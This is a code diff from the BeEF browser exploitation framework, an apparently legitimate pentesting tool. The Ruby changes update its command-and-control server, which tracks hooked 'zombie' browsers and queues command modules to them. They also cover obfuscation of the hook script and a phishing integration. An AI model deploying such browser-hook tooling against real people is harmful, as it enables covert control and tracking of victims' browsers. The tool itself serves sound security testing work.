# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -51,13 +51,25 @@ module Handlers
|
||||
|
||||
# @note is a known browser so send instructions
|
||||
else
|
||||
# @note Check if we haven't seen this browser for a while, log an event if we haven't
|
||||
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
|
||||
BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
|
||||
end
|
||||
|
||||
# @note record the last poll from the browser
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
|
||||
# @note Check for a change in zombie IP and log an event
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
if config.get('beef.http.use_x_forward_for') == true
|
||||
if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
|
||||
end
|
||||
else
|
||||
if hooked_browser.ip != request.ip
|
||||
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
|
||||
hooked_browser.ip = request.ip
|
||||
end
|
||||
end
|
||||
|
||||
hooked_browser.count!
|
||||
@@ -67,6 +79,13 @@ module Handlers
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# TODO this is not considering WebSocket channel, as data is sent from core/main/handlers/modules/command.rb if WS is enabled
|
||||
are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id)
|
||||
are_executions.each do |are_exec|
|
||||
@body += are_exec.mod_body
|
||||
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
|
||||
end
|
||||
|
||||
# @note We dynamically get the list of all browser hook handler using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -21,14 +21,19 @@ module BeEF
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js)
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/jquery.blockUI.js)
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/connection.js net/cors.js are.js)
|
||||
# @note Load websocket library only if WS server is enabled in config.yaml
|
||||
if config.get("beef.http.websocket.enable") == true
|
||||
beef_js_sub_files << "websocket.js"
|
||||
end
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get("beef.extension.webrtc.enable") == true
|
||||
beef_js_sub_files << "lib/webrtcadapter.js"
|
||||
beef_js_sub_files << "webrtc.js"
|
||||
end
|
||||
|
||||
# @note antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files << "timeout.js"
|
||||
@@ -38,7 +43,7 @@ module BeEF
|
||||
|
||||
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
|
||||
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
|
||||
ext_js_sub_files.each{ |ext_js_sub_file|
|
||||
ext_js_sub_files.each { |ext_js_sub_file|
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
|
||||
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
|
||||
@@ -66,6 +71,12 @@ module BeEF
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
unless hook_session_config['beef_public'].nil?
|
||||
if hook_session_config['beef_host'] != hook_session_config['beef_public']
|
||||
hook_session_config['beef_host'] = hook_session_config['beef_public']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
|
||||
end
|
||||
end
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
@@ -74,6 +85,10 @@ module BeEF
|
||||
# @note set the XHR-polling timeout
|
||||
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
|
||||
|
||||
# @note set the hook file path and BeEF's cookie name
|
||||
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
|
||||
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
@@ -93,13 +108,18 @@ module BeEF
|
||||
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
|
||||
end
|
||||
|
||||
# @note Set if PhishingFrenzy integration is enabled
|
||||
if config.get("beef.integration.phishing_frenzy.enable")
|
||||
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beef_js string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beef_js)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
|
||||
else
|
||||
@final_hook = ext_js_to_not_obfuscate + @hook
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -29,6 +29,7 @@ module BeEF
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
|
||||
(print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil?
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
@@ -37,7 +38,7 @@ module BeEF
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
|
||||
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
@@ -52,7 +53,7 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
|
||||
#content = command_module.output.gsub('//
|
||||
#//
|
||||
#// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
#// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
#// See the file 'doc/COPYING' for copying permission
|
||||
#//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -36,10 +36,9 @@ module Core
|
||||
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
|
||||
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
|
||||
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
|
||||
|
||||
# logging the new event into the database
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
|
||||
|
||||
print_debug "Event: #{event}"
|
||||
# if notifications are enabled send the info there too
|
||||
if @notifications
|
||||
@notifications.new(from, event, time_now, hb)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user